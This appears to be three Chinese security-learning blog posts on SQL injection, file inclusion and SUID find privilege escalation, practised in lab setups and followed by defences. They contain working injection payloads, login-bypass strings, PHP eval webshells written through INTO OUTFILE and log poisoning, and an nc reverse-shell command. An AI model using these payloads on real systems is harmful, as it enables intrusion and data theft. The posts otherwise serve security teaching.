@@version_complie_os:查看操作系统 -------------------------------------开始注入脚本//回显出数据库版本信息、数据库所在路径 http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq //更多自行尝试 。。。。。。我们还可以通过 union 注入获得更多的信息。// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+ // 获得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+通过select 1,database(),3...，得出当前数据库名security，我们就可以通过下面的语句得到当前数据库的所有的表。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +我们知道了当前数据库中存在了四个表，那么我们可以通过下面的语句知道每个表中的列。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- + 如下，我们可以知道 users 表中有 id，username，password 三列 使用 group_concat()拼接账号密码还有 id，即可爆出所有数据http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +三、文件读写1. union 注入读取文件注：当有显示列的时候，文件读可以利用 union 注入。当没有显示列的时候，只能利用盲注进行数据读取；文件写入只能利用 union 注入示例：读取系统根目录下的/demo.txt 文件//union注入读取 /demo.txt 文件,windows使用->盘符:/路径 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- + //也可以把 /demo.txt 转换成16进制 这里没成功，可以去找找资料。。。 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +如果不成功，参考以下解决方案 在 mysql 目录中找到 my.ini/my.cnf 文件在[mysqld]下面添加如下内容 secure_file_priv = "" 如图：登录 mysql 执行以下命令mysql>SHOW VARIABLES LIKE "secure_file_priv"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+这里secure_file_priv的值要为""或者 "/"secure_file_priv 有三个值1、限制 mysqld 不允许导入 | 导出mysqld –secure_file_prive=null2、限制 mysqld 的导入 | 导出 只能发生在/tmp/目录下mysqld –secure_file_priv=/tmp/3、不对 mysqld 的导入 | 导出做限制secure_file_priv=''2. 盲注读取文件盲注读取的话就是利用hex函数，将读取的字符串转换成 16 进制，再利用ascii函数，转换成 ascii 码，再利用二分法一个一个的判断字符，很复杂，一般结合工具完成 http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1我们可以利用写入文件的功能，在 e 盘创建 4.php 文件，然后写入一句话木马。//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- + // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- +在文件写入读取的时候，遇见以下这种情况。多半是因为权限不足，可以使用@@datadir，得到当前数据库存储目录，试着在数据库存储目录进行文件注入 比如http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --注入成功权限不足的解决办法-参考环境：CentOS7.0 64 位MySQL5.7问题：#使用'select into outfile'备份数据表提示无法写入文件 mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt'; ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)排查：#查看mysql的进程用户,为mysql用户 [root@lfs ~]# ps aux|grep mysqld root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306 #查看/www/server/mysql/目录的权限，mysql用户没有写入权限 [root@lfs ~]# ls -ld /www/server/mysql/ drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/解决办法：#将/data/mysql/目录的归属为mysql用户 chown -R mysql.mysql /www/server/mysql/ [root@lfs ~]# ls -ld /data/mysql/ drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/验证，写入成功： 四、报错注入报错注⼊常⽤的函数 floor() extractvalue() updatexml() geometrycollection() multipoint() polygon() multipolygon() linestring() .。。。。。 这里介绍一个案例updatexml()。updatexml()MySQL提供了一个 updatexml()函数，当第二个参数包含特殊符号时会报错，并将第二个参数的内容显示在报错信息中。我们尝试在查询用户id的同时，使用报错函数，在地址栏输入：?id=1' and updatexml(1, 0x7e, 3) -- a参数2内容中的查询结果显示在数据库的报错信息中，并回显到页面。version()：返回数据库版本concat()：拼接特殊符号和查询结果updatexml()函数的报错内容长度不能超过32个字符，常用的解决方式有两种： limit：分页 substr()：截取字符 1.1 limit分页例如，已知users表中包含username和password两个字段，显示出某个password字段的数据id=-1' and updatexml(1, concat(0x7e,( select password from users limit 0,1 )), 3) -- a使用group_concat(字段名)显示出最高32位字符长度，password字段的数据id=-1' and updatexml(1, concat(0x7e,( select group_concat(password) from users limit 0,1 )), 3) -- a1.2 substr()获取密码数据案例http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e, substr((select group_concat(password) from users),1,31) ),3) -- qwe1.3 步骤总结适用情况：页面有数据库报错信息1.网站信息必须是动态的，来自数据库的报错信息。 2.网站写死的、自定义的报错信息不算1>.判断是否报错参数中添加单/双引号，页面报错才可进行下一步。?id=1' -- a2>.判断报错条件参数中添加报错函数，检查报错信息是否正常回显。?id=1' and updatexml(1,'~',3) -- a 3>. 脱库//获取所有数据库 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,1,31) ),3) -- qwq //获取所有表 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema ='security') ,1,31) ),3) -- qwq //获取所有字段 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users') ,1,31) ),3) -- qwq五、时间盲注Timing Attack注入，也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中，有一个Benchmark() 函数，它是用于测试性能的。Benchmark(count,expr) ，这个函数执行的结果，是将表达式 expr 执行 count 次 。因此，利用benchmark函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长，通过时间长短的变化，可以判断注入语句是否执行成功。这是一种边信道攻击，这个技巧在盲注中被称为Timing Attack，也就是时间盲注。利用前提：页面上没有显示位，也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样，但是加入 sleep(5)条件之后，页面的返回速度明显慢了 5 秒。//判断是否存在延时注入 ?id=1' and sleep(5) --+六、宽字节注入宽字节注入是由于不同编码中中英文所占字符的的不同所导致的，通常的来说，在GBK编码当中，一个汉字占用2个字节。除了UTF-8以外，所有的ANSI编码中文都是占用俩个字符。//GBK和其他所有ANSI结果为2 echo strlen("中") //UTF-8 echo strlen("中") //结果为3我们先说一下php中对于SQL注入的过滤，这里就不得不提到几个函数了。addslashes()函数，这个函数在预定义字符之前添加反斜杠 。 这个函数有一个特点虽然会添加反斜杠 进行转义，但是 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同，所以当打开了魔术引号时，不应使用这个函数。可以使用 get_magic_quotes_gpc()来检测是否已经转义。mysql_real_escape_string() 函数，这个函数用来转义sql语句中的特殊符号x00、n、r、、'、" 、x1a。注： 预定义字符：单引 '，双引 "，反斜 ，NULL 魔术引号：当打开时，所有单引号 '、双引号 " 、反斜杠 和NULL字符都会被自动加上一个反斜线来进行转义，和addslashes()函数的作用完全相同。所以，如果魔术引号打开，就不要使用addslashes()函数。一共有三个魔术引号指令： magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase 实操：此次采用sqli的Less-32，//正常显示 http://192.168.209.128:88/Less-32/?id=1 -- qwq开始注入：//添加引号 http://192.168.209.128:88/Less-32/?id=1' -- qwq//布尔注入 http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq//unionunion注入 http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq发现页面回显信息，每次注入都将进行了转义，这时候就要把 去掉，宽字节注入，这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候，会认为2个字符是1个汉字，前提是前一个字符的ASCII值大于128，才会认为是汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。开始注入： http://192.168.1.132:86/Less-32/?id=1 %df 可以发现%df和 ' 组成了一个汉字 把/号干掉之后就可以用unionunion注入查询数据了。http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq注入成功！七、堆叠注入在SQL中，分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（union注入）也是将两条语句合并在一起，两者之间有什么区别呢？区别就在于union 或者union all执行的语句类型是有限的，只可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：root';DROP database user；服务器端生成的sql语句为：select * from user where name='root';DROP database user；当执行查询后，第一条显示查询信息，第二条则将整个user数据库删除。八、二次注入概念二次注入是指已存储（数据库、文件）的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是SQL注入的一种，但是比普通SQL注入利用更加困难，利用门槛更高。普通注入数据直接进入到 SQL 查询中，而二次注入则是输入数据经处理后存储，取出后，再次进入到 SQL 查询。原理在第一次进行数据插入数据库得时候，仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc() 对其中得字符进行了转义，在后端代码中可能会被转义，但在存入数据库时候还是原来得数据，数据中一般带有单引号和#号，然后下次使用在拼凑SQL中，所以就行了二次注入。过程 插入1‘# 转义成1’# 不能注入，但是保存在数据库时变成了原来的1’# 利用1’#进行注入,这里利用时要求取出数据时不转义 条件 用户向数据库插入恶意语句（即使后端代码对语句进行了转义，如mysql_escape_string、mysql_real_escape_string转义） 数据库对自己存储得数据非常放心，直接读取出恶意数据给用户 利用 注册用户名admin’-- -(后面的-是为了突出前面的空格，起到了注释作用) 使用刚刚注册得账号进行登录。 3、查看注册源代码 发现用户在注册的时候没有进行特殊符号过滤，所以再一次说明我们注册的用户成功！ 进行修改密码（攻击） 攻击成功 ，返回使用更新后的密码登录账号 admin。 登录成功 修改密码的时候，语句就会变为：$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' -- w' and password='$curr_pass' ";-- w把后面的都给注释了，所以就是修改了admin用户的密码为 aaaaaa九、User-Agent 注入我们访问 http://127.0.0.1/sqli/Less-18/ ，页面显示一个登陆框和我们的ip信息。当我们输入正确的用户名和密码之后登陆之后，页面多显示了 浏览器的User-Agent。抓包，修改其User-Agent如下图，测试是否存在user-agent注入 页面报错，存在报错注入' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数可以看到，页面将当前的数据库显示出来了。十、Cookie 注入原理cookie注入的原理是：就是修改cookie的值进行注入♦cookie注入其原理也和平时的注入一样，只不过注入参数换成了cookie♦要进行cookie注入，我们首先就要修改cookie，这里就需要使用到Javascript语言了。条件两个必须条件： 程序对get和post方式提交的数据进行了过滤，但未对cookie提交的数据库进行过滤。 在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式，未指明使用request对象的具体方法进行获取，也就是说用request这个方法的时候获取的参数可以是在URL后面的参数，也可以是cookie里面的参数这里没有做筛选，之后的原理就像我们的SQL注入一样了。 十一、万能密码原理原验证登陆语句:SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'输入 1' or 1=1 or '1'='1万能密码语句变为:SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'即得到优先级关系：or<and<not，同一优先级默认从左往右计算。 上面'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 先计算肯定返回false,因为密码是我们乱输入的。(此处是假) Username=‘1’ 返回假，数据库没有1这个用户名(此处是假) 1=1返回真(此处是真) 以上的结果是: 假 or 真 or假 返回真。验证通过。再比如：select tel,pwd where tel='111' and pwd='123456'我们把电话111看成一个变量，输入电话号码为' or 1= '1。sql就变为如下样子：select tel,pwd where tel='' or 1='1' and pwd='123456' 上面1='1' and pwd='123456'先计算肯定返回false。(此处是假) tel=‘’ 返回假，数据库没有''这个手机号。(此处是假) 以上的结果是: 真 or假 返回真。验证通过。常用的万能密码' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1Sql 注入的预防一般在项目中我们不太会去注意 SQL 注入的问题，因为我们会使用 ORM，而 ORM 在实现的过程中也会帮我做 SQL 注入过滤；但有的时候 ORM 没法满足我们的需求，这时可能就会手撸原生 SQL 来执行预编译(PreparedStatement)(JSP)可以采用预编译语句集，它内置了处理SQL注入的能力，只要使用它的setXXX方法传值即可。String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();如上所示，就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢？其原因就是：采用了PreparedStatement预编译，就会将SQL语句："select id, no from user where id=?" 预先编译好，也就是SQL引擎会预先进行语法分析，产生语法树，生成执行计划，也就是说，后面你输入的参数，无论你输入的是什么，都不会影响该SQL语句的语法结构了，因为语法分析已经完成了，而语法分析主要是分析SQL命令，比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令，也不会被当成SQL命令来执行了，因为这些SQL命令的执行， 必须先通过语法分析，生成执行计划，既然语法分析已经完成，已经预编译过了，那么后面输入的参数，是绝对不可能作为SQL命令来执行的，只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。原理：SQL注入只对SQL语句的编译过程有破坏作用，而PreparedStatement已经预编译好了，执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。PDO（PHP）首先简单介绍一下什么是PDO。PDO是PHP Data Objects（php数据对象）的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API，使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql，也可以用它连接oracle。并且PDO很好的解决了sql注入问题。PDO对于解决SQL注入的原理也是基于预编译。$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();实例化PDO对象之后，首先是对请求SQL语句做预编译处理。在这里，我们使用了占位符的方式，将该SQL传入prepare函数后，预处理函数就会得到本次查询语句的SQL模板类，并将这个模板类返回，模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定，最后再执行.使用正则表达式过滤正则表达式是一种用于匹配模式的工具，在检测 SQL 注入时非常有用。我们可以使用正则表达式来过滤和验证用户输入，以确保输入不包含任何恶意的 SQL 代码。下面是一些常见的正则表达式示例：对用户输入的特殊字符进行严格过滤，如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、unionpattern = re.compile( r"(%27)|(')|(--)|(%23)|(#)|" # Regex for detection of SQL meta-characters r"w*((%27)|('))s+((%6F)|o|(%4F))((%72)|r|(%52))s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or', r"((%3D)|(=))[^n]*((%27)|(')|(--)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --' r"((%27)|('))union|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))select|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))insert|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))update|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))drop", # Regex for detecting SQL Injection with the UNION keyword re.IGNORECASE, ) r = pattern.search("' OR 1 -- -") if r: return True其他Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分（如不能执行 drop 等），并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。严格限定参数类型和格式，明确参数检验的边界，必须在服务端正式处理之前对提交的数据的合法性进行检查。使用 Web 应用防火墙。团长想组建一个网安萌新学习群，互相监督，成为网安大佬，如果内容对你有帮助，欢迎关注我的公众号【小羽网安】，里面不定期更新我自己的学习记录，用于更好的帮助萌新们解决问题。感谢！原文地址https://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA
从零开始学Web安全，文件包含漏洞详解大家好，我是[小羽]，一个对网络安全充满热情的小白。今天，我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞？，这里很详细的介绍了Sql注入的各种类型防御的方法。靶场：dvwa,pikachu服务器：centos7数据库：mysql5.7php：8.0nginx：1.24什么是文件包含漏洞？概述和sql注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，让服务端执行。包含：把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员有没有对要包含的文件进行安全考虑，攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。常见的文件包含漏洞有两种类型： 本地文件包含（Local File Inclusion）：LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞，直接访问并执行服务器上的文件。 远程文件包含（Remote File Inclusion）：攻击者能通过将一个远程文件包含到应用程序中来执行任意代码，这种漏洞通常存在在于动态包含外部资源的代码中。 攻击者可以利用文件包含漏洞来执行一系列攻击，比如读取敏感文件、执行恶意代码、获取数据库信息等。以PHP为例，常用的文件包含函数有以下四种 函数 描述 特点 require() 找不到被包含的文件会产生致命错误，并停止脚本运行 在一开始就加载 include() 找不到被包含的文件只会产生警告，脚本继续执行 在用到时加载 include_once() 如果该文件的代码已经被包含，则不会再次包含 与include()类似 require_once() 如果该文件的代码已经被包含，则不会再次包含 require()类似 漏洞利用过程一、本地文件包含漏洞(LFI)php代码示例：<?php $file=$_GET(['filename']); include($file) ?>python代码示例：file=request.GET.get('filename')#django with open(filename,mode='r') as f: print(f.read())我们可以利用文件包含读取到一些其他文件，甚至可以读取一些系统的敏感信息如系统的配置器文件:C:Windowssystem.ini文件（很危险）DVWA首先在我们centos系统中根目录创建一个demo1.txt写入'you are very good hacker!'进入dvwa靶场File Inclusion点击任意文件后，观察到url的变化为文件名称的变化 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt漏洞利用成功！此时也可直接读取系统配置文件例如hostsPiKaChu选择下拉框任意选项，分析url，找到文件名称如下图 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt注意：在文件包含漏洞中通常配合文件上传使用二、远程文件包含漏洞远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作，需要将php.ini中的allow_url_include = On打开，如下图比如这里有一个远程文件：https://xiaoyus.cc/license.txt漏洞利用成功！三、包含Apache/Nginx日志文件有时候网站存在文件包含漏洞，但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。我们通过访问，让访问日志记录我们的phpinfo();代码，可以看出，访问日志已经成功记录了我们的访问历史：注意：需要开启服务器记录日志功能<?php phpinfo();?>日志访问成功但是我们发现了日志使用的是url编码，而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截，然后修改参数值为完整的php代码查看日志，日志写入成功接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log日志文件注入成功！让访问日志文件记录下写入文件脚本代码：<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[666]);?>'); ?>访问内容修改： 可以看见日志文件写入成功 对访问日志进行文件包含，并查看创建的一句话脚本，已经创建成功：查看源文件，也可以看到创建成功 此时就可以使用蚁剑进行连接获取webshell如何避免？一、设置白名单代码在进行文件包含时，如果文件名称可以确定，可以设置白名单对传入的参数进行比较。PHP验证源码示例：<?php $file_list=[ //声明一个变量，用于存放白名单； 'framework/init.php', 'framework/route.php', 'framework/event.php', ]; $file= $_REQUEST['file']; //声明一个变量，用于接收传递过来的文件信息； if (in_array($file, $file_list)){ //把传递过来的文件信息和白名单里面的文件进行对比； include "$file"; //如果传递过来的文件是白名单里面的文件，就对它进行文件包含； } ?>python验证源码示例：file_list=[ 'framework/init.php', 'framework/route.php', 'framework/event.php', ] file=requests.GET.get('file') if file in file_list: with open(file,mode='r') as f: content=f.read() print(content) else: print('该文件不在许可范围内')二、过滤危险字符由于Incbude/Require可以对PHP Wrapper（包装器）形式的地址进行包含执行(需要配置php.ini)在linux环境中可以通过"../../"的形式进行目录绕过，所以需要判断文件名称是否为合法的PHP文件。验证源码示例：$pattern= "#^[a-z][a-z0-9+.]*:?//#i"; if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){ include "$file"; }python源码示例：import re import os parttern='"#^[a-z][a-z0-9+.]*:?//#i' def include_file(filename): if filename.endswith('.php') and '..' not in filename and not re.search(pattern,filename(): with open(filename,'r') as f: file=f.read() print(file) include_file('demo.php')四、设置文件目录PHP配置文件中又open_basedir选项可以设置用户需要执行的文件内目录，如果设置目录的话，PHP仅仅在该目录内进行文件搜索，而不会去搜索其他文件四、关闭危险配置PHP中的allow_url_include选项如果打开，PHP会通过Include/Require进行远程文件包含，由于远程文件的不可信任及其不确定性，在开发中禁止打开次此选项，PHP默认是关闭的。五、最小权限原则做好管理员权限划分，做好文件的权限管理，allow_url_include和allow_url_fopen最小权限化感谢！原文地址https://mp.weixin.qq.com/s/0Ayr8cp5nxti787c1sg54g
前言在信息安全的广阔领域中，系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具，在日常管理中广泛应用。然而，当find命令被错误地赋予SUID权限时，它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法，展示其在特定权限设置下的安全风险，并通过实际案例演示权限提升过程，提供针对性的防御策略。参数介绍find常用参数语法：find 【path...】 【expression】 `path`为查早路径，` . `为当前路径，` / `为根目录，`expression`为参数 参数列表参考： -name：按照文件名查找文件 -perm：按照文件权限来查找文件，4000，2000，1000为分别表示SUID，SGID，SBIT，如777为普通文件的最高权限，7000为特殊文件的最高权限 -user：按照文件属性来查找 -size n：文件大小是n个单位 -type： 1. d：目录 2. f：文件 3. c：字符设备文件（Character Device Files）--字符设备文**件允许用户以字节为单位与其进行交互**，这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口，比如`/dev/tty` 4. b：块设备文件（Block Device Files）--与字符设备相对，**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节，例如512字节或4096字节等。块设备的读写通常比字符设备要高效，因此大多数**存储设备**（如硬盘和USB驱动器）都被视为块设备，例如，/dev/sda` -atime n： time表示日期，时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n： 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print： 将匹配的文件输出到标准输出 -exec： find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;，注意{ }和；之间的空格。 该表来自：https://blog.csdn.net/weixin_44912169/article/details/105845909Find实例1、在当前目录下模糊查找.txt 后缀的文件find . -name "*.txt"2、在root目录下查找大于50M小于100M的文件find / -size +50M -size -100M -type f # +-号分别代表大于和小于查找10分钟内读取过的文件find / -amin 10 -type f查找权限为755的文件或目录并排序find -perm -755 -type f |sort查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'使用find 将这些文件合并到一个文件中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'拆解之后find . : 从当前目录开始找-type f : 只查找文件（不包括目录）-name '*.txt' : 查找文件名以 .txt 文件结尾的文件-exec cat {} ; : 对找到的每个文件执行cat命令，{}是一个占位符，代表find命令找到的每个文件名。;是命令的结束标记。> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在，他会被覆盖；如果不存在，会被创建。这样就清楚了：┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!' ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'对结果进行赛选，然后保存再result.txt中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽前面两个例子只是对结果进行操作，那么这里执行其他命令cat /etc/passwd┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat /etc/passwd ; root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin赋予root用户才能读取这个result,txt文件┌──(root㉿kali)-[/data/demo] └─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽我们切换kali执行find命令┌──(root㉿kali)-[/data/demo] └─# su kali ┌──(kali㉿kali)-[/data/demo] └─$ ls 1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo] └─$ find result.txt -exec whoami ; kali ┌──(kali㉿kali)-[/data/demo] └─$ cat result.txt cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了使用kali用户提权，被拒绝了，find提权的利用就是/usr/bin/find具有SUID权限，一旦find被赋予了SUID权限，那么黑客利用这个方式进行权限提示，造成无法挽回的后果┌──(kali㉿kali)-[/data/demo] └─$ chmod u+s /usr/bin/find chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作为了模拟黑客攻击过程，我们直接使用root用户修改find命令为SUID权限┌──(kali㉿kali)-[/data/demo] └─$ su root 密码：输入你的密码 ┌──(root㉿kali)-[/data/demo] └─# chmod u+s /usr/bin/find代码块不好看，换个终端。。。查看这个find权限，具有一个SUID权限SUID 特殊权限仅适用于可执行文件，所具有的功能是，只要用户对设有 SUID 的文件有执行权限，那么当用户执行此文件时，会以文件所有者的身份去执行此文件，一旦文件执行结束，身份的切换也随之消失。在这里，find文件所有者为root，那么我们使用具有suid权限的find命令时，是以root用户的权限去执行的模拟开始，假设我们已经getshell，系统用户为kali找到了find具有SUID权限那么就可以利用find执行系统命令，whoami，这时候是root用户，而我们直接使用whoami则是kali普通用户首先查看result.txt权限，利用cat命令查看，权限不够，那么我们使用find命令执行命令，即可查看我们所属用户为root的result.txt文件，使用{}代表find查询出来的所有文件可以执行命令了，那么就是反弹shell，windows作为攻击机，开启nc监听在开始反弹之前，检查root用户的终端是哪个位置那么我们正常反弹shell的命令就是这样的，但是移交的是普通用户kali权限nc -e /usr/bin/zsh 10.0.0.7 3000使用find命令反弹shell，那么就是root权限反弹成功，我是root查看我们的result.txt文件，成功提权！总结find更多的用法只是用来查找文件，但如果操作不慎，赋予了SUID权限，它也可以被用来进行权限提升。本文总结了如下几点：1、当find命令被赋予了SUID权限时，普通用户执行该命令将能够以文件所有者（通常是root）的权限来执行。2、提权步骤需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。一旦确认find命令具有SUID权限，就可以利用它来执行需要更高权限的命令。例如，可以使用find命令来读取或修改通常只有root用户才能访问的文件。3、防范防御者应该定期检查系统上的重要命令（如find）的权限设置，以确保它们没有被不当修改。还定期审计系统上的权限设置，以确保没有不当的权限提升行为发生。感谢观看！